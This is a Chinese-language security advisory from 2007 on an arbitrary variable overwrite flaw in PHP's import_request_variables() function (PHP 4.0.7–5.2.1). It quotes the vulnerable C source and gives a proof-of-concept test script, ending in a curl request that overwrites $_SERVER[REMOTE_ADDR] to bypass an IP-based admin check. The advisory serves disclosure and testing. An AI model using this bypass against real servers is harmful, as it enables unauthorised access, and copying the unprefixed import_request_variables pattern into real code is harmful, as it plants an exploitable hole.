安全研究
 安全漏洞 
	PHP import_request_variables()函数任意变量覆盖漏洞
发布日期:2007-03-08
更新日期:2007-03-09
受影响系统:
PHP PHP 4.0.7 - 5.2.1描述:
BUGTRAQ ID: 22886
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的import_request_variables()函数实现上存在漏洞,远程攻击者可能利用此漏洞控制服务器。
远程攻击者可以利用PHP的import_request_variables()函数覆盖$_*和$*变量(任意php变量),导致执行任意代码。有漏洞代码位于以下文件中:
./ext/standard/basic_functions.c:PHP_FUNCTION(import_request_variables)
./Zend/zend_hash.c:ZEND_API void
zend_hash_apply_with_arguments(HashTable *ht, apply_func_args_t
apply_func, int num_args, ...)
有漏洞的代码段如下:
PHP_FUNCTION(import_request_variables) {
[..]
if (prefix_len == 0) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "No prefix specified -
possible security hazard");
}
[..]
for (p = types; p && *p; p++) {
switch (*p) {
case 'g': case 'G':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_GET]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break;
case 'p': case 'P':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_POST]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_FILES]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);
break;
case 'c': case 'C':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_COOKIE]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break;
}
}
[..]
}
<*来源:Stefano Di Paola (stefano@dipaola.wisec.it)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=117339349831836&w=2
*>
测试方法:
警  告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
mkdir hack-php_import_request_variables && cd
hack-php_import_request_variables
echo "Testing cli.."
echo "register_globals = Off" > php-ini-globals-off
php -c php-ini-globals-off -r "echo (int)ini_get("register_globals");"
echo "register_globals = On" > php-ini-globals-on
php -c php-ini-globals-on -r "echo (int)ini_get("register_globals");"
echo "Testing mod.."
mkdir globals-on && mkdir globals-off
cat > globals-on/test.php << TOKEN
<pre><?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
echo '<h1>GET</h1>'."n"; print_r(\$_GET);
echo '<h1>POST</h1>'."n"; print_r(\$_POST);
echo '<h1>COOKIE</h1>'."n"; print_r(\$_COOKIE);
echo '<h1>SERVER</h1>'."n"; print_r(\$_SERVER);
echo '<h1>SESSION</h1>'."n"; print_r(\$_SESSION);
echo '<h1>FILES</h1>'."n"; print_r(\$_FILES);
?></pre>
TOKEN
cp globals-on/test.php globals-off/test.php
echo "php_value register_globals on" > globals-on/.htaccess
echo "php_value register_globals off" > globals-off/.htaccess
--- >8 --- >8 --- >8 --- >8 --- example.php --- >8 --- >8 --- >8 --- >8
<?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
?>
--- >8 --- >8 --- >8 --- >8 --- ----------- --- >8 --- >8 --- >8 --- >8
curl http://URL/example.php?_SERVER[REMOTE_ADDR]=10.1.1.1
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:5589
严重程度:0(网友投票)
绿盟科技给您安全的保障
